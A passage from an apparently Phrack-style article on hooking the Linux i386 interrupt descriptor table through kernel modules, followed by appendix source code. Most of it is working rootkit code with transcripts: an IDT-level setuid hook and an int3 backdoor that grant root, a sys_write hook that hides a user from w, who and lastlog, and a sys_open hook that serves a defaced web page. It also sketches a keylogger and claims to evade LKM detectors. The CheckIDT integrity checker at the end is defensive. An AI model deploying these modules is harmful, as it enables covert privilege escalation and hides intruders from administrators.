There is a function show_regs that is in arch/i386/kernel/process.c :

```
void show_regs(struct pt_regs * regs)
{
    long cr0 = 0L, cr2 = 0L, cr3 = 0L;
    printk("\n");
    printk("EIP: %04x:[<%08lx>]",0xffff & regs->xcs,regs->eip);
    if (regs->xcs & 3)
        printk(" ESP: %04x:%08lx",0xffff & regs->xss,regs->esp);
    printk(" EFLAGS: %08lx\n",regs->eflags);
    printk("EAX: %08lx EBX: %08lx ECX: %08lx EDX: %08lx\n",
        regs->eax,regs->ebx,regs->ecx,regs->edx);
    printk("ESI: %08lx EDI: %08lx EBP: %08lx",
        regs->esi, regs->edi, regs->ebp);
    printk(" DS: %04x ES: %04x\n",
        0xffff & regs->xds,0xffff & regs->xes);
    __asm__("movl %%cr0, %0": "=r" (cr0));
    __asm__("movl %%cr2, %0": "=r" (cr2));
    __asm__("movl %%cr3, %0": "=r" (cr3));
    printk("CR0: %08lx CR2: %08lx CR3: %08lx\n", cr0, cr2, cr3);
}
```

You can use this code to print the state of the registers at every exception.

Something more dangerous would be to change the asm handler so that it would not execute the true C handler. The process that has generated the exception would not receive such signals as SIGSTOP or SIGSEGV. This would be very useful in some situations.

--[4 - THE HARDWARE INTERRUPTS

----[4.1 - How does it works ?

We can also hook interrupts generated by IRQs with the same method but they are less interesting to hook (unless you have a great idea ;). We are going to hook interrupt 33 which is keyboard’s. The problem is that this interrupt happens a lot more. The handler will be executed a large number of times and will have to go very fast to not block the system. To avoid this, we are going to use bottom half. There are functions of low priority which are used for interrupt handling in most cases . The kernel is waiting for the adequate time to launch it, and other interruptions are not masked during its execution

The waiting bottom half will be executed only at the following:

- the kernel finishes to handle a syscall
- the kernel finishes to handle a exception
- the kernel finishes to handle a interrupt
- the kernel uses the schedule() function in order to select a new process

But they will be executed before the processor goes back in user mode.

So the bottom half are useful to ensure the quick handle of an interruption.

Here are some examples of linux used bottom halves

Bottom half	Peripheral equipment
CONSOLE_BH	Virtual console
IMMEDIATE_BH	Immediate tasks file
KEYBOARD_BH	Keyboard
NET_BH	Network interface
SCSI_BH	SCSI interface
TIMER_BH	Clock
TQUEUE_BH	Periodic tasks queue
...	

My goal writing this paper is not to study the bottom halves, as it's a too wide topic. Anyway, for more informations about that topic, you can have a look at

http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html [8]

IRQ list

BEWARE ! : the number of the interrupts are not always the same for the IRQs!

IRQ	Interrupt	Peripheral equipment
0	32	Timer
1	33	Keyboard
2	34	PIC cascade
3	35	Second serial port
4	36	First serial port
6	37	Floppy drive
8	40	System clock
11	43	Network interface
12	44	PS/2 mouse
13	45	Mathematic coprocessor
14	46	First EIDE disk controller
15	47	Second EIDE disk controller

----[4.2 - Initialization and activation of a bottom half

The low parts must be initialized with the function init_bh(n,routine) that insert the address routine in the n-th entry of bh_base (bh_base is an array where low parts are kept). When it is initialized, it can be activated and executed. The function mark_bh(n) is used by the interrupt handler to activate the n-th low part.

The tasklets are the functions themselves. There are put together in list of elements of type tq_struct :

```
struct tq_struct {
    struct tq_struct *next;     /* linked list of active bh's */
    unsigned long sync;     /* must be initialized to zero */
    void (*routine)(void *);    /* function to call */
    void *data;         /* argument to function */
};
```

The macro DELACRE_TASK_QUEUE(name,fonction,data) allow to declare a tasklet that will then be inserted in the task queue thanks to the function queue_task. There is several task queues, the most interesting here is tq_immediate that is executed by the bottom half IMMEDIATE_BH (immediate task queue).

(include/linux/tqueue.h)

----[4.3 - Hooking of the keyboard interrupt

When we hit a key, the interrupt happens twice. Once when we push the key and once when we release the key. The code below will display a message every 10 interrupts. If we hit 5 keys, the message appears.

I don't show the asm handler which is the same as in 3.4

Code

```
...
struct Variable
    {
    int entier;
    char chaine[10];
    };
...
static void evil_fonction(void * status)
        {
    struct Variable *var = (struct Variable * )status;
    nb++;
        if((nb%10)==0)printk("Bottom Half %i integer : %i string : %s\n",
        nb,var->entier,var->chaine);
        }
...
asmlinkage void my_function()
        {
        static struct Variable variable;
        static struct tq_struct my_task = {NULL,0,evil_fonction,&variable};
        variable.entier=3;
        strcpy(variable.chaine,"haha hijacked key :) ");
        queue_task(&my_task,&tq_immediate);
        mark_bh(IMMEDIATE_BH);
        }
```

We declare a tasklet my_task. We initialize it with our function and the argument. As the tasklet allow us to take only one argument, we give the address of a structure. This will allow to use several arguments. We add the tasklet to the list tq_immediate thanks to queue_task. Finally, we activate the low part IMMEDIATE_BH thanks to mark_bh:

```
mark_bh(IMMEDIATE_BH)
```

We have to activate IMMEDIATE_BH, which handles the tasks queue 'tq_immediate' (the one where we added our own tasklet) evil_function is to be executed just after one of the requested event (listed in part 4.1)

evil_function is just going to display a message each time that the interrupt happened 10 times. We effectively hooked the keyboard interrupt. We could use this method to code a keylogger. This one would be the most quiet because it would act at interrupts level. The issue, that I didn't solve, is to know which key has been hit. To do this, we can use the function inb() that can read on a I/O port. There are 65536 I/O ports (8 bits ports). 2 8 bits ports make a 16 bits ports and 2 16 bits ports make a 32 bits ports. The functions that allow us to access ports are:

```
inb,inw,inl    : allow to read 1, 2 or 4 consecutive bytes from a I/O port.
outb,outw,outl : allow to write 1, 2 or 4 consecutive bytes to a I/O port.
```

So we can read the scancode of the keyboard thanks to the function inb, and its status (pushed, released). Unfortunately, I'm not sure of the port to read. The port for the scancode is 0x60 and the port for the status is 0x64.

```
scancode=inb(0x60);
status=inb(0x64);
```

scancode is going to be equal to a value that will have to be transformed to know which key has been hit. This is realized with an array of value. It may exist a function that give directly the conversion, but I'm not sure. If anyone has information about it or wish to develop the topic, he can contact me.

--[5 - THE EXCEPTION PROGRAMMED FOR THE SYSTEM CALL

----[5.1 - List of the syscalls

You can find a list of all the syscalls at the url :
http://www.lxhp.in-berlin.de/lhpsysc0.html [3].
All syscalls are listed and the value to put in the registers are given.

Rem : be ware, the numbers of the syscalls are not the same in 2.2.*
and 2.4.* kernels.

----[5.2 - How does a syscall work ?

Thanks to the technique that we have just used here, we can also hook the syscalls. When a syscall is called, all the parameters of the syscall are in the registers.

```
eax : number of the called syscall
ebx : first param
ecx : second param
edx : third param
esi : fourth param
edi : fifth param
```

The maximum number of arguments can't exceed 5. However, some syscalls need more than 5 arguments. It is the case for the syscall mmap (6 params). In such a case, a single register is used to point to a memory area to the addressing space of the process in user mode that contains the values of the parameters.

We can get these values thanks to the structure pt_regs that we've seen before. We are going to hook syscalls at the IDT level and not in the syscall_table. kstat and all currently available LKM detection tools will fail in detecting our voodoo. I won't show you all what can be done by hooking the syscalls, the technique used by pragmatic or so in their LKMs are applicable here. I will show you how to hook some syscalls, you will be able to hook those you want using the same technique.

----[5.3 - Hooking for profit

------[5.3.1 - Hooking of sys_setuid

SYS_SETUID:

EAX: 213
EBX: uid

We are going to begin with a simple case, a backdoor that change the rights of a process into root. The same backdoor as in 3.5 but we are going to hook the syscall setuid.

asm handler :

```
...
#define sys_number 213
...
void stub_kad(void)
        {
__asm__ (
        ".globl my_stub                 \n"
        ".align 4,0x90                  \n"
        "my_stub:                       \n"
                //save the register value
                "       pushl %%ds                      \n"
                "       pushl %%eax                     \n"
                "       pushl %%ebp                     \n"
                "       pushl %%edi                     \n"
                "       pushl %%esi                     \n"
                "       pushl %%edx                     \n"
                "       pushl %%ecx                     \n"
                "       pushl %%ebx                     \n"
                //compare if it's the good syscall
                "       xor %%ebx,%%ebx                 \n"
                "       movl %2,%%ebx                   \n"
                "       cmpl %%eax,%%ebx                \n"
                "       jne finis                       \n"
                //if it's the good syscall,
                //put top stack address on stack :)
                "       mov %%esp,%%edx                 \n"
                "       mov %%esp,%%eax                 \n"
                "       andl $-8192,%%eax               \n"
                "       pushl %%eax                     \n"
                "       push %%edx                      \n"
                "       call *%0                        \n"
                "       addl $8,%%esp                   \n"
                "finis:                                 \n"
                //restore register
                "       popl %%ebx                      \n"
                "       popl %%ecx                      \n"
                "       popl %%edx                      \n"
                "       popl %%esi                      \n"
                "       popl %%edi                      \n"
                "       popl %%ebp                      \n"
                "       popl %%eax                      \n"
                "       popl %%ds                       \n"
                "       jmp  *%1                        \n"
        ::"m"(hostile_code),"m"(old_stub),"i"(sys_number)
        );
        }
```

- we save the values of all the registers on the stack
- we compare eax that contains the number of the syscall with the value of sys_number that we have defined above.
- if it is the good syscall, we put on the stack the value of esp from which have saved all the registers (that will be used for pt_regs) and the current process descriptor.
- we call our C handler, then at the return, we pop 8 bytes (eax + edx).
- finis : we put back the value of our registers and we call the true handler.

By changing the value of sys_number, we can hook any syscall with this asm handler.

C handler

```
asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task)
        {
        struct task_struct *my_task = &((struct task_struct *) fd_task)[0];
        if (regs->ebx == 12345 )
                {
                my_task->uid=0;
                my_task->gid=0;
                my_task->suid=1000;
                }
        }
```

We get the value of the registers in a pt_regs structure and the address of the current fd. We compare the value of ebx with 12345, if it is equal then we set the uid and the gid of the current process to 0.

In practice :

```
bash-2.05$ cat setuid.c
#include <stdio.h>
int main (int argc,char ** argv)
    {
    setuid(12345);
    system("/bin/sh");
    return 0;
    }
bash-2.05$ gcc -o setuid setuid.c
bash-2.05$ ./setuid
sh-2.05# id
uid=0(root) gid=0(root) groups=100(users)
sh-2.05#
```

We are root. This technique can be used with many syscalls.

------[5.3.2 - Hooking of sys_write

SYS_WRITE:

EAX: 4
EBX: file descriptor
ECX: ptr to output buffer
EDX: count of bytes to send

We are going to hook sys_write so that it will replace a string in a defined program. Then, we will hook sys_write so that it will replace in the whole system.

The asm handler in the same as in 5.3.1

C handler

```
asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task)
        {
        struct task_struct *my_task= &((struct task_struct *) fd_task) [0];
        char *ptr=(char *) regs->ecx;
        char * buffer,*ptr3;

        if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0||
            strcmp(my_task->comm,"lastlog")==0 ||
            ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) )
               {
                buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL);
                copy_from_user(buffer,ptr,regs->edx);
                if(hide_string)
                        {
                         ptr3=strstr(buffer,hide_string);
                        }
                else
                        {
                         ptr3=strstr(buffer,HIDE_STRING);
                        }
                if(ptr3 != NULL )
                        {
                        if (false_string)
                        {
                           strncpy(ptr3,false_string,strlen(false_string));
                             }
                        else
                        {
                           strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING));
                                   }
                        copy_to_user(ptr,buffer,regs->edx);
                        }
                kfree(buffer);
                }
        }
```

- We compare the name of the process with a defined program name and with the name that we will specify in param when we insert our module (progy param).
- We allocate some space for the buffer that will receive the string that is in regs->ecx
- We copy the string that sys_write is going to write from the userland to the kernelland (copy_from_user)
- We search for the string we want to hide in the string that sys_write is going to write.
- If found,we change the string to be hidden with the one wanted in our buffer.
- we copy the false string in the userland (copy_to_user)

In practice :

```
%gcc -I/usr/src/linux/include -O2 -c hookstub-V0.5.2.c
%w
 12:07am  up 38 min,  2 users,  load average: 0.60, 0.60, 0.48
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
kad      tty1     -                11:32pm 35:15  14:57   0.03s  sh /usr/X11/bin/startx
kad      pts/1    :0.0             11:58pm  8:51   0.08s  0.03s  man setuid
%modinfo hookstub-V0.5.2.o
filename:    hookstub-V0.5.2.o
description: "Hooking of sys_write"
author:      "kad"
parm:        interrupt int, description "Interrupt number"
parm:        hide_string string, description "String to hide"
parm:        false_string string, description "The fake string"
parm:        progy string, description "You can add another program to fake"
%insmod hookstub-V0.5.2.o interrupt=128 hide_string=kad false_string=marcel
progy=ps
Inserting hook
Hooking finish

%w
 12:07am  up 38 min,  2 users,  load average: 0.63, 0.61, 0.48
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
marcel   tty1     -                11:32pm 35:21  15:01   0.03s  sh /usr
marcel   pts/1    :0.0             11:58pm  8:57   0.08s  0.03s  man setuid

%ps -au
USER       PID %CPU %MEM   VSZ  RSS TTY      STAT START   TIME COMMAND
marcel     133  0.0  1.4  2044 1256 pts/0    S    May12   0:00 -bash
root       146  0.0  1.4  2032 1260 pts/0    S    May12   0:00 -su
root       243  0.0  1.6  2612 1444 pts/0    S    00:05   0:00 -sh
root       259  0.0  0.9  2564  836 pts/0    R    00:07   0:00 ps -au
%
```

The string "kad" is hidden. The whole source code is in annexe CODE 3. This example is quite simple but could be more interesting. Instead of changing "kad" with "marcel", we could change our IP address with another. And, instead of hooking the output of w, who or lastlog, we could use klogd...

Complete hooking of sys_write

The complete hooking of sys_write can be useful in some case, like for example changing an IP with another. But if you change a string completely, you won't be hidden long. If you change a string with another, it's the whole system that will be changed. Even a simple cat will be influenced :

```
%insmod hookstub-V0.5.3.o interrupt=128 hide_string="hello!" false_string="bye!  "
Inserting hook
Hooking finish
%echo hello!
bye!
%
```

The C handler for this example is the same as the previous one without the if condition. Beware, this could slow down your system a lot.

----[5.4 - Hooking for fun

This example is only "for fun" :), don't misuse it. You could turn an admin mad... Thanks to Spacewalker for the idea (Hi Space ! :). The idea is to hook the syscall sys_open so that it opens another file instead of a defined file, but only if it is a defined "entity" that opens the file. This entity will be httpd here...

SYS_OPEN:

```
EAX : 5
EBX : ptr to pathname
ECX : file access
EDX : file permissions
```

The asm handler is always the same as the previous ones.

C handler :

```
asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task)
        {
        struct task_struct *my_task = &((struct task_struct * ) fd_task) [0];
    if(strcmp(my_task->comm,"httpd") == 0)
        {
        if(strcmp((char *)regs->ebx,"/var/www/htdocs/index.html.fr")==0)
            {
            copy_to_user((char *)regs->ebx,"/tmp/hacked",
            strlen((char *) regs->ebx));
            }
        }
        }
```

We hook sys_open, if httpd call sys_open and tries to open index.html, then we change index.html with another page we've chosen. We can also use MODULE_PARM to more easily change the page. If someone opens the file with a classic editor, he will see the true index.html!

Hooking a syscall is very easy with this technique. Moreover, few modifications are to be done for hooking this or that syscall. The only thing to change is the C handler. We could however play with the asm handler, for example to invert 2 syscalls. We would only have to compare the value of eax and to change it with the number of a defined syscall. For an admin, we could hook the "hot" syscalls and warn with a message as soon as the syscall is called. We would be warned of the modifications on the syscall_table.

--[6 - CHECKIDT

CheckIDT is a little program that I have written that allow to "play" with the IDT from the userland. i.e. without using a lkm, thanks to the technique of sd and devik in Phrack 58 on /dev/kmem. All along my tests, I had to face many kernel crashes and it was not dead but I couldn't remove the lkm. I had to reboot to change the value of the IDT. CheckIDT allow to change the value of the IDT without the use of a lkm. CheckIDT is here to help you coding your lkms and prevent you from rebooting all the time. On the other hand, this software can warn you of modifications of the IDT and so be useful for admins. It can restore the IDT state in tripwire style. It saves each descriptor of the IDT in a file, then it compares the descriptors with the saved values and put the IDT back if there were modifications.

Some examples of use :

```
%./checkidt
CheckIDT V 1.1 by kad
---------------------
Option :
       -a nb    show all info about one interrupt
       -A       show all info about all interrupt
       -I       show IDT address
       -c       create file archive
       -r       read file archive
       -o file  output filename (for creating file archive)
       -C       compare save idt & new idt
       -R       restore IDT
       -i file  input filename to compare or read
       -s       resolve symbol thanks to /boot/System.map
       -S file  specify a map file


%./checkidt -a 3 -s

Int *** Stub Address *** Segment *** DPL *** Type             Handler Name
--------------------------------------------------------------------------
3       0xc0109370       KERNEL_CS   3       System gate      int3


Thanks for choose kad's products :-)
%
```

We can obtain information on an interrupt descriptor.
"-A" allow to obtain information on all interrupts.

```
%./checkidt -c

Creating file archive idt done

Thanks for choosing kad's products :-)
%insmod hookstub-V0.3.2.o interrupt=3
Inserting hook
Hooking finished
%./checkidt -C

Hey stub address of interrupt 3 has changed!!!
Old Value : 0xc0109370
New Value : 0xc583e064

Thanks for choosing kad's products :-)
%./checkidt -R

Restore old stub address of interrupt 3
```

```
Thanks for choosing kad’s products :-)
%./checkidt -C

All values are same

Thanks for choosing kad’s products :-)
%lsmod
Module                  Size  Used by
hookstub-V0.3.2          928   0  (unused)
...
%
```

So CheckIDT has restored the values of the IDT as they were before inserting the module. However, the module is still here but has no effect. As in tripwire, I advice you to put the IDT save file in a read only area, otherwise someone could be compromised.

rem : if the module is well hidden, you will also be warned of the modifications of IDT.

The whole source code is in annexe CODE 4.

--[7 - REFERENCES

[1] http://www.linuxassembly.org/resources.html#tutorials
    Many docs on asm inline

[2] http://www.xml.com/ldd/chapter/book/
    linux device drivers

[3] http://www.lxhp.in-berlin.de/lhpsysc0.html
    detailed syscalls list

[4] http://eccentrica.org/Mammon/
    Mammon site, thanks mammon ;)

[5] http://www.oreilly.com/catalog/linuxkernel/
    o’reilly book , great book :)

[6] http://www.tldp.org/LDP/lki/index.html
    Linux Kernel 2.4 Internals

[7] Sources of 2.2.19 and 2.4.17 kernel

[8] http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html
    good info about how bottom half work

[9] http://www.s0ftpj.org/en/tools.html
    kstat

GREETZ

- Special greetz to freya, django and neuro for helping me to translate this text in English. Greetz again to skyper for his advice, thks a lot man! :)
- Thanks to Wax for his invaluable advise on asm (don’t smoke to much dude !)
- Big greetz to mayhem, insulted, ptah and sauron for testing the codes and verifying the text.
- Greetz to #frogs people, #thebhz people, #gandalf people, #fr people, all those who were at the RtC.Party, nywass, the polos :) and all those I forget.

--[8 - Appendix

CODE 1:

```
-------

/****************************************/
/* hooking interrupt 3 . Idea by mammon  */
/* with kad modification                 */
/****************************************/

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/init.h>
#include <linux/malloc.h>

#define error_code 0xc01092d0 //error code in my system.map
#define do_int3    0xc010977c //do_int3 in my system.map

asmlinkage void my_handler(struct pt_regs * regs,long err_code);

/*------------------------------------------*/
unsigned long ptr_idt_table;
unsigned long ptr_gdt_table;
unsigned long old_stub;
unsigned long old_handler=do_int3;
extern asmlinkage void my_stub();
unsigned long ptr_error_code=error_code;
unsigned long ptr_handler=(unsigned long)&my_handler;
/*------------------------------------------*/

struct descriptor_idt
        {
        unsigned short offset_low,seg_selector;
        unsigned char reserved,flag;
        unsigned short offset_high;
        };

void stub_kad(void)
        {
__asm__ (
        ".globl my_stub                 \n"
        ".align 4,0x90                  \n"
        "my_stub:                       \n"
        "pushl $0                       \n"
        "pushl ptr_handler(,1)          \n"
        "jmp *ptr_error_code             "
        ::
        );
        }

asmlinkage void my_handler(struct pt_regs * regs,long err_code)
        {
        void (*old_int_handler)(struct pt_regs *,long) = (void *) old_handler;
        printk("<1>Wowowo hijacking de l'int 3 \n");
        (*old_int_handler)(regs,err_code);
        return;
        }

unsigned long get_addr_idt (void)
        {
         unsigned char idtr[6];
         unsigned long idt;
        __asm__ volatile ("sidt %0": "=m" (idtr));
        idt = *((unsigned long *) &idtr[2]);
        return(idt);
        }
```

```
void * get_stub_from_idt (int n)
        {
        struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
        return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));
        }

void hook_stub(int n,void *new_stub,unsigned long *old_stub)
        {
         unsigned long new_addr=(unsigned long)new_stub;
         struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
         //save old stub
         if(old_stub)
                *old_stub=(unsigned long)get_stub_from_idt(3);
         //assign new stub
         idt[n].offset_high = (unsigned short) (new_addr >> 16);
         idt[n].offset_low  = (unsigned short) (new_addr & 0x0000FFFF);
         return;
        }

int init_module(void)
        {
        ptr_idt_table=get_addr_idt();
        hook_stub(3,&my_stub,&old_stub);
        return 0;
        }

void cleanup_module()
        {
         hook_stub(3,(char *)old_stub,NULL);
        }

*******************************************************************************

CODE 2:
-------

/****************************************************/
/* IDT int3 backdoor. Give root right to the process
/* Coded by kad
/****************************************************/

#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/init.h>
#ifndef KERNEL2
#include <linux/slab.h>
#else
#include <linux/malloc.h>
#endif

/*------------------------------------------*/
asmlinkage void my_function(unsigned long);
/*------------------------------------------*/
MODULE_AUTHOR("Kad");
MODULE_DESCRIPTION("Hooking of int3 , give root right to process");
MODULE_PARM(interrupt,"i");
MODULE_PARM_DESC(interrupt,"Interrupt number");
/*------------------------------------------*/
unsigned long ptr_idt_table;
unsigned long old_stub;
extern asmlinkage void my_stub();
unsigned long hostile_code=(unsigned long)&my_function;
int interrupt;
/*------------------------------------------*/
```

```
struct descriptor_idt
        {
        unsigned short offset_low,seg_selector;
        unsigned char reserved,flag;
        unsigned short offset_high;
        };

void stub_kad(void)
        {
__asm__ (
        ".globl my_stub                 \n"
        ".align 4,0x90                  \n"
        "my_stub:                       \n"
        "       pushl %%ebx             \n"
        "       movl %%esp,%%ebx        \n"
        "       andl $-8192,%%ebx       \n"
        "       pushl %%ebx             \n"
        "       call *%0                \n"
        "       addl $4,%%esp           \n"
        "       popl %%ebx              \n"
        "       jmp  *%1                \n"
        ::"m"(hostile_code),"m"(old_stub)
        );
        }


asmlinkage void my_function(unsigned long addr_task)
        {
        struct task_struct *p = &((struct task_struct *) addr_task)[0];
        if(strcmp(p->comm,"give_me_root")==0 )
                {
                #ifdef DEBUG
                        printk("UID : %i GID : %i SUID : %i\n",p->uid,
                        p->gid,p->suid);
                #endif
                p->uid=0;
                p->gid=0;
                #ifdef DEBUG
                        printk("UID : %i GID  %i SUID : %i\n",p->uid,p->gid,p->suid);
                #endif
                }
        else
                {
                #ifdef DEBUG
                        printk("<1>Interrupt %i hijack \n",interrupt);
                #endif
                }
        }

unsigned long get_addr_idt (void)
        {
         unsigned char idtr[6];
         unsigned long idt;
        __asm__ volatile ("sidt %0": "=m" (idtr));
        idt = *((unsigned long *) &idtr[2]);
        return(idt);
        }

unsigned short get_size_idt(void)
        {
        unsigned idtr[6];
        unsigned short size;
        __asm__ volatile ("sidt %0": "=m" (idtr));
        size=*((unsigned short *) &idtr[0]);
        return(size);
        }

void * get_stub_from_idt (int n)
```

```
        {
        struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
        return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));
        }

void hook_stub(int n,void *new_stub,unsigned long *old_stub)
        {
         unsigned long new_addr=(unsigned long)new_stub;
         struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
         //save old stub
         if(old_stub)
                *old_stub=(unsigned long)get_stub_from_idt(n);
         #ifdef DEBUG
                printk("Hook : new stub addresse not splited : 0x%.8x\n",new_addr);
         #endif
         //assign new stub
         idt[n].offset_high = (unsigned short) (new_addr >> 16);
         idt[n].offset_low  = (unsigned short) (new_addr & 0x0000FFFF);
         #ifdef DEBUG
                printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high);
                printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low);
         #endif
         return;
        }

int write_console (char *str)
        {
         struct tty_struct *my_tty;
         if((my_tty=current->tty) != NULL)
                {
                (*(my_tty->driver).write) (my_tty,0,str,strlen(str));
                return 0;
                }
         else return -1;
        }

static int __init kad_init(void)
        {
        int x;
        EXPORT_NO_SYMBOLS;
        ptr_idt_table=get_addr_idt();
        write_console("Inserting hook \r\n");
        hook_stub(interrupt,&my_stub,&old_stub);
        #ifdef DEBUG
                printk("Set hooking on interrupt %i\n",interrupt);
        #endif
        write_console("Hooking finished \r\n");
        return 0;
        }

static void kad_exit(void)
        {
        write_console("Removing hook\r\n");
        hook_stub(interrupt,(char *)old_stub,NULL);
        }

module_init(kad_init);
module_exit(kad_exit);


******************************************************************************

CODE 3:
-------

/***************************************************************/
/* Hooking of sys_write for w,who and lastlog.
/* You can add an another program when you insmod the module
/* By kad
/**************************************************************/

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/init.h>
#ifndef KERNEL2
#include <linux/slab.h>
#else
#include <linux/malloc.h>
#endif
#include <linux/interrupt.h>
#include <linux/compatmac.h>

#define sys_number 4
#define HIDE_STRING "localhost"
#define FALSE_STRING "somewhere"
#define PROG "w"

/*------------------------------------------*/
asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task);
/*------------------------------------------*/
MODULE_AUTHOR("kad");
MODULE_DESCRIPTION("Hooking of sys_write");
MODULE_PARM(interrupt,"i");
MODULE_PARM_DESC(interrupt,"Interrupt number");
MODULE_PARM(hide_string,"s");
MODULE_PARM_DESC(hide_string,"String to hide");
MODULE_PARM(false_string,"s");
MODULE_PARM_DESC(false_string,"The fake string");
MODULE_PARM(progy,"s");
MODULE_PARM_DESC(progy,"You can add another program to fake");
/*------------------------------------------*/
unsigned long ptr_idt_table;
unsigned long old_stub;
extern asmlinkage void my_stub();
unsigned long hostile_code=(unsigned long)&my_function;
int interrupt;
char *hide_string;
char *false_string;
char *progy;
/*------------------------------------------*/

struct descriptor_idt
        {
        unsigned short offset_low,seg_selector;
        unsigned char reserved,flag;
        unsigned short offset_high;
        };

void stub_kad(void)
        {
__asm__ (
        ".globl my_stub                 \n"
        ".align 4,0x90                  \n"
        "my_stub:                       \n"
                //save the register value
                "       pushl %%ds                      \n"
                "       pushl %%eax                     \n"
                "       pushl %%ebp                     \n"
                "       pushl %%edi                     \n"
                "       pushl %%esi                     \n"
                "       pushl %%edx                     \n"
                "       pushl %%ecx                     \n"
                "       pushl %%ebx                     \n"
                //compare it's the good syscall
                "       xor %%ebx,%%ebx                 \n"
                "       movl %2,%%ebx                   \n"
                "       cmpl %%eax,%%ebx                \n"
                "       jne finis                       \n"
                //if it's the good syscall , continue :)
                "       mov %%esp,%%edx                 \n"
                "       mov %%esp,%%eax                 \n"
                "       andl $-8192,%%eax               \n"
                "       pushl %%eax                     \n"
                "       push %%edx                      \n"
                "       call *%0                        \n"
                "       addl $8,%%esp                   \n"
                "finis:                                 \n"
                //restore register
                "       popl %%ebx                      \n"
                "       popl %%ecx                      \n"
                "       popl %%edx                      \n"
                "       popl %%esi                      \n"
                "       popl %%edi                      \n"
                "       popl %%ebp                      \n"
                "       popl %%eax                      \n"
                "       popl %%ds                       \n"
                "       jmp  *%1                        \n"
        ::"m"(hostile_code),"m"(old_stub),"i"(sys_number)
        );
        }

asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task)
        {
        struct task_struct *my_task = &((struct task_struct * ) fd_task) [0];
        char *ptr=(char *) regs->ecx;
        char * buffer,*ptr3;

        if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0
        || strcmp(my_task->comm,"lastlog")==0

        || ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) )
               {
                buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL);
                copy_from_user(buffer,ptr,regs->edx);
                if(hide_string)
                        {
                         ptr3=strstr(buffer,hide_string);
                        }
                else
                        {
                         ptr3=strstr(buffer,HIDE_STRING);
                        }
                if(ptr3 != NULL )
                        {
                        if (false_string)
                                {
                                strncpy(ptr3,false_string,strlen(false_string));
                                }
                        else
                                {
                                strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING));
                                }
                        copy_to_user(ptr,buffer,regs->edx);
                        }
                kfree(buffer);
               }
        }

unsigned long get_addr_idt (void)
        {
         unsigned char idtr[6];
         unsigned long idt;
        __asm__ volatile ("sidt %0": "=m" (idtr));
        idt = *((unsigned long *) &idtr[2]);
        return(idt);
        }

void * get_stub_from_idt (int n)
        {
        struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
        return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));
        }

void hook_stub(int n,void *new_stub,unsigned long *old_stub)
        {
         unsigned long new_addr=(unsigned long)new_stub;
         struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
         //save old stub
         if(old_stub)
                *old_stub=(unsigned long)get_stub_from_idt(n);
         #ifdef DEBUG
                printk("Hook : new stub addresse not splited : 0x%.8x\n",
                new_addr);
         #endif
         //assign new stub
         idt[n].offset_high = (unsigned short) (new_addr >> 16);
         idt[n].offset_low  = (unsigned short) (new_addr & 0x0000FFFF);
         #ifdef DEBUG
                printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high);
                printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low);
         #endif
         return;
        }

int write_console (char *str)
        {
         struct tty_struct *my_tty;
         if((my_tty=current->tty) != NULL)
                {
                (*(my_tty->driver).write) (my_tty,0,str,strlen(str));
                return 0;
                }
         else return -1;
        }

static int __init kad_init(void)
        {
        EXPORT_NO_SYMBOLS;
        ptr_idt_table=get_addr_idt();
        write_console("Inserting hook \r\n");
        hook_stub(interrupt,&my_stub,&old_stub);
        #ifdef DEBUG
                printk("Set hooking on interrupt %i\n",interrupt);
        #endif
        write_console("Hooking finish \r\n");
        return 0;
        }

static void kad_exit(void)
        {
        write_console("Removing hook\r\n");
        hook_stub(interrupt,(char *)old_stub,NULL);
        }

module_init(kad_init);
module_exit(kad_exit);
```

```
******************************************************************************

<++> checkidt/Makefile
all: checkidt.c
        gcc -Wall -o checkidt checkidt.c
<-->

<++> checkidt/checkidt.c
/*
 * CheckIDT V1.1
 * Play with IDT from userland
 * It's a tripwire kind for IDT
 * kad 2002
 *
 * gcc -Wall -o checkidt checkidt.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <asm/segment.h>
#include <string.h>

#define NORMAL          "\033[0m"
#define NOIR            "\033[30m"
#define ROUGE           "\033[31m"
#define VERT            "\033[32m"
#define JAUNE           "\033[33m"
#define BLEU            "\033[34m"
#define MAUVE           "\033[35m"
#define BLEU_CLAIR      "\033[36m"
#define SYSTEM          "System gate"
#define INTERRUPT       "Interrupt gate"
#define TRAP            "Trap gate"
#define DEFAULT_FILE    "Safe_idt"
#define DEFAULT_MAP             "/boot/System.map"

/***********GLOBAL*************/
